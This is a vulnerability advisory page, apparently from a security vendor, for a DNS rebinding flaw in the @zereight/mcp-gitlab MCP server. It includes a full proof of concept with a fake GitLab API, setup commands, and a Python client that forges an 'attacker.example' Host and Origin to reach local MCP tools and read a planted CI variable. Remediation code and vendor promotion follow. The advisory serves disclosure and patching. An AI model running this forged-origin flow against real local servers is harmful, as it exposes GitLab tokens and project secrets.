CVE-2026-61568

CVE-2026-61568 is a critical-severity security vulnerability in @zereight/mcp-gitlab (npm), affecting versions < 2.1.30. It is fixed in 2.1.30.

Does this CVE actually affect you?

Kodem shows which CVEs are reachable and running in your applications, so you fix what's exploitable, not just what's listed.

Thank you! Your submission has been received!
Oops! Something went wrong while submitting the form.

Runtime intelligence, not another scanner.

Summary

@zereight/mcp-gitlab: DNS rebinding reaches local Streamable HTTP MCP transport

@zereight/mcp-gitlab exposes its Streamable HTTP MCP endpoint without an effective Host or Origin allowlist. A malicious web page can use DNS rebinding to route browser requests to a victim's local MCP listener while preserving an attacker-controlled Host and Origin. The server accepts those headers and reaches the MCP initialization path instead of rejecting the request at the HTTP boundary.

This is CWE-350, Reliance on Reverse DNS Resolution for a Security-Critical Action. The affected package is @zereight/mcp-gitlab version 2.1.18 at commit 74a8c834424ff557ad8bc6f225e4dc5acf80aa13.

The vulnerable transport setup is in index.ts. Express JSON parsing is installed globally before any MCP route-level Host or Origin allowlist:

// index.ts:12077
app.use(express.json());

registerDownloadProxy(app);

The Streamable HTTP transport is then created without the SDK DNS-rebinding controls:

// index.ts:12375
transport = new StreamableHTTPServerTransport({
  sessionIdGenerator: () => randomUUID(),
  onsessioninitialized: (newSessionId: string) => {
    streamableTransports[newSessionId] = transport;
    metrics.totalSessions++;
    metrics.activeSessions++;
  },
});

The transport constructor does not set enableDnsRebindingProtection, allowedHosts, or allowedOrigins. The server also does not add an Express middleware that rejects unexpected Host or Origin headers before /mcp.

The default host is loopback, which is the exact target DNS rebinding attacks are designed to reach:

// config.ts:192
export const HOST = getConfig("host", "HOST") || "127.0.0.1";

// config.ts:196
export const PORT = _intEnv("PORT", "port", _PORT_DEFAULT);

The README documents Streamable HTTP as a supported transport for modern remote deployments and documents REMOTE_AUTHORIZATION=true for multi-user HTTP deployments. In that mode, unauthenticated tools/list and material GitLab API tool calls are blocked by token checks. The Host/Origin defect is still present at the browser boundary: the server accepts attacker-controlled browser-origin headers and processes the MCP initialize request instead of rejecting the connection as cross-origin localhost access.

Proof of concept

The following reproduction uses a fake GitLab API with planted data. It proves the HTTP boundary failure and the token boundary separately:

  • no-token initialize succeeds with attacker-controlled Host and Origin;
  • no-token tools/list is rejected with 401;
  • the same forged-origin flow with a planted Private-Token lists tools and calls list_project_variables;
  • the fake GitLab API records the forwarded token and returns a planted fake project variable.

Start the fake GitLab API:

python3 - <<'PY'
import json
from http.server import BaseHTTPRequestHandler, ThreadingHTTPServer
from urllib.parse import parse_qs, urlparse

WITNESS = "/tmp/zereight-gitlab-mcp-rebind-witness.jsonl"
PROJECT_ID = "pluto/rebind-target"
FAKE_SECRET = "glpat-FAKE-PROJECT-CI-SECRET-0001"

class Handler(BaseHTTPRequestHandler):
    def _json(self, status, payload):
        data = json.dumps(payload).encode()
        self.send_response(status)
        self.send_header("Content-Type", "application/json")
        self.send_header("Content-Length", str(len(data)))
        self.end_headers()
        self.wfile.write(data)

    def _record(self):
        parsed = urlparse(self.path)
        with open(WITNESS, "a", encoding="utf-8") as f:
            f.write(json.dumps({
                "method": self.command,
                "path": parsed.path,
                "query": parse_qs(parsed.query),
                "authorization": self.headers.get("authorization"),
                "private_token": self.headers.get("private-token"),
                "job_token": self.headers.get("job-token"),
            }, sort_keys=True) + "\n")

    def do_GET(self):
        self._record()
        path = urlparse(self.path).path
        if path == "/health":
            self._json(200, {"status": "ok"})
            return
        if path.startswith("/api/v4/") and not (
            self.headers.get("authorization") or
            self.headers.get("private-token") or
            self.headers.get("job-token")
        ):
            self._json(401, {"message": "401 Unauthorized", "missing": "GitLab token"})
            return
        if path.endswith("/variables"):
            self._json(200, [{
                "key": "PRODUCTION_DEPLOY_TOKEN",
                "value": FAKE_SECRET,
                "protected": True,
                "masked": False,
            }])
            return
        self._json(200, {"ok": True, "path": path})

    def log_message(self, fmt, *args):
        return

ThreadingHTTPServer(("127.0.0.1", 18082), Handler).serve_forever()
PY

In a second terminal, run the affected MCP server:

git clone https://github.com/zereight/gitlab-mcp.git
cd gitlab-mcp
git checkout 74a8c834424ff557ad8bc6f225e4dc5acf80aa13
npm install
npm run build

STREAMABLE_HTTP=true \
REMOTE_AUTHORIZATION=true \
HOST=127.0.0.1 \
PORT=8082 \
GITLAB_API_URL=http://127.0.0.1:18082/api/v4 \
GITLAB_READ_ONLY_MODE=true \
GITLAB_TOOLSETS=issues,projects,repository,ci \
GITLAB_TOOLS=list_project_variables \
node build/index.js

In a third terminal, send MCP requests with attacker-controlled browser-origin headers:

python3 - <<'PY'
import json
import urllib.error
import urllib.request

TARGET = "http://127.0.0.1:8082/mcp"
REBIND_HOST = "attacker.example:8082"
ORIGIN = "http://" + REBIND_HOST
TOKEN = "glpat-FAKE-ZEREIGHT-REBIND-TOKEN-0001"

def parse_rpc(text):
    stripped = text.strip()
    if stripped.startswith("{"):
        return [json.loads(stripped)]
    out = []
    for line in stripped.splitlines():
        line = line.strip()
        if line.startswith("data:"):
            out.append(json.loads(line[5:].strip()))
    return out

class Client:
    def __init__(self, token=None):
        self.sid = None
        self.token = token

    def post(self, body):
        headers = {
            "Content-Type": "application/json",
            "Accept": "application/json, text/event-stream",
            "Host": REBIND_HOST,
            "Origin": ORIGIN,
        }
        if self.token:
            headers["Private-Token"] = self.token
        if self.sid:
            headers["Mcp-Session-Id"] = self.sid
            headers["MCP-Protocol-Version"] = "2025-06-18"
        req = urllib.request.Request(TARGET, data=json.dumps(body).encode(), headers=headers, method="POST")
        try:
            with urllib.request.urlopen(req, timeout=20) as res:
                sid = res.headers.get("Mcp-Session-Id") or res.headers.get("mcp-session-id")
                if sid:
                    self.sid = sid
                text = res.read().decode("utf-8", "replace")
                return res.status, parse_rpc(text), text
        except urllib.error.HTTPError as exc:
            text = exc.read().decode("utf-8", "replace")
            return exc.code, parse_rpc(text), text

    def rpc(self, method, params=None, rid=1):
        body = {"jsonrpc": "2.0", "id": rid, "method": method}
        if params is not None:
            body["params"] = params
        status, messages, raw = self.post(body)
        for msg in messages:
            if msg.get("id") == rid:
                return status, msg, raw
        return status, {}, raw

    def initialized(self):
        self.post({"jsonrpc": "2.0", "method": "notifications/initialized"})

def initialize(client, rid):
    return client.rpc("initialize", {
        "protocolVersion": "2025-06-18",
        "capabilities": {},
        "clientInfo": {"name": "dns-rebind-check", "version": "1"},
    }, rid)

unauth = Client()
status, init, raw = initialize(unauth, 1)
print("unauth initialize:", status, "session:", unauth.sid)
unauth.initialized()
status, listed, raw = unauth.rpc("tools/list", {}, 2)
print("unauth tools/list:", status, raw[:200])

authed = Client(TOKEN)
status, init, raw = initialize(authed, 3)
print("token initialize:", status, "session:", authed.sid)
authed.initialized()
status, listed, raw = authed.rpc("tools/list", {}, 4)
tools = [tool["name"] for tool in listed["result"]["tools"]]
print("listed list_project_variables:", "list_project_variables" in tools)
status, called, raw = authed.rpc("tools/call", {
    "name": "list_project_variables",
    "arguments": {"project_id": "pluto/rebind-target"},
}, 5)
print(raw)
PY

Observed output:

unauth initialize: 200 session: <uuid>
unauth tools/list: 401 {"error":"Missing Private-Token, JOB-TOKEN, or Authorization header","message":"Remote authorization is enabled. Please provide Private-Token, JOB-TOKEN, or Authorization header."}
token initialize: 200 session: <uuid>
listed list_project_variables: True
[
  {
    "key": "PRODUCTION_DEPLOY_TOKEN",
    "value": "glpat-FAKE-PROJECT-CI-SECRET-0001",
    "protected": true,
    "masked": false
  }
]

The fake GitLab API witness records that the MCP server forwarded the token to the backend request:

{"authorization": null, "job_token": null, "method": "GET", "path": "/api/v4/projects/pluto%2Frebind-target/variables", "private_token": "glpat-FAKE-ZEREIGHT-REBIND-TOKEN-0001", "query": {}}

Why this is a vulnerability, not intended behavior

  • The server uses loopback binding as the local safety boundary. DNS rebinding bypasses that boundary from the victim browser unless the server enforces an allowlist for Host and Origin.
  • The MCP TypeScript SDK provides DNS-rebinding controls for Streamable HTTP. This server constructs StreamableHTTPServerTransport without enabling those controls and does not add an equivalent Express guard.
  • REMOTE_AUTHORIZATION=true protects tool calls that lack a token, but it does not protect the HTTP transport from cross-origin browser access. Authentication and Host/Origin validation are separate controls.

Impact

A malicious web page can reach a local @zereight/mcp-gitlab Streamable HTTP listener through DNS rebinding because the server accepts attacker-controlled Host and Origin headers. In the current remote-authorization mode, token checks block unauthenticated tools/list and material GitLab API calls. The remaining security failure is still real: the browser-origin boundary is not enforced, and any deployment mode or client flow that makes a GitLab token browser-suppliable or reuses an authenticated MCP session can expose GitLab tools to the attacker page.

The confirmed impact is:

  • attacker-origin browser traffic reaches the local MCP initialize path;
  • server-side Host and Origin validation are absent on /mcp;
  • tool discovery and GitLab API tool execution work through the same forged-origin path when a token is present;
  • GitLab API calls execute with the supplied token and can return sensitive project data such as CI/CD variables.

CVE-2026-61568 has a CVSS score of 9.6 (Critical). The vector is network-reachable, no privileges required, and user interaction required. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (2.1.30); upgrading removes the vulnerable code path.

Affected versions

@zereight/mcp-gitlab (< 2.1.30)

Security releases

@zereight/mcp-gitlab → 2.1.30 (npm)

Kodem intelligence

Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.

Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.

Already deployed Kodem?

See it in your environmentNew to Kodem? Get a demo →

Remediation advice

Enable the SDK DNS-rebinding protection on the Streamable HTTP transport:

transport = new StreamableHTTPServerTransport({
  sessionIdGenerator: () => randomUUID(),
  enableDnsRebindingProtection: true,
  allowedHosts: [
    `127.0.0.1:${PORT}`,
    `localhost:${PORT}`,
  ],
  allowedOrigins: [
    `http://127.0.0.1:${PORT}`,
    `http://localhost:${PORT}`,
  ],
  onsessioninitialized: (newSessionId: string) => {
    streamableTransports[newSessionId] = transport;
  },
});

Add an Express middleware before /mcp that rejects unexpected Host and Origin values. Apply the same policy to SSE if that transport remains supported. Document the default-safe Host/Origin values and require explicit operator configuration for non-loopback deployments.

Frequently Asked Questions

  1. What is CVE-2026-61568? CVE-2026-61568 is a critical-severity security vulnerability in @zereight/mcp-gitlab (npm), affecting versions < 2.1.30. It is fixed in 2.1.30.
  2. How severe is CVE-2026-61568? CVE-2026-61568 has a CVSS score of 9.6 (Critical). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
  3. Which versions of @zereight/mcp-gitlab are affected by CVE-2026-61568? @zereight/mcp-gitlab (npm) versions < 2.1.30 is affected.
  4. Is there a fix for CVE-2026-61568? Yes. CVE-2026-61568 is fixed in 2.1.30. Upgrade to this version or later.
  5. Is CVE-2026-61568 exploitable, and should I be worried? Whether CVE-2026-61568 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
  6. What actually determines whether CVE-2026-61568 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
  7. How do I fix CVE-2026-61568? Upgrade @zereight/mcp-gitlab to 2.1.30 or later.

Stop the waste.
Protect your environment with Kodem.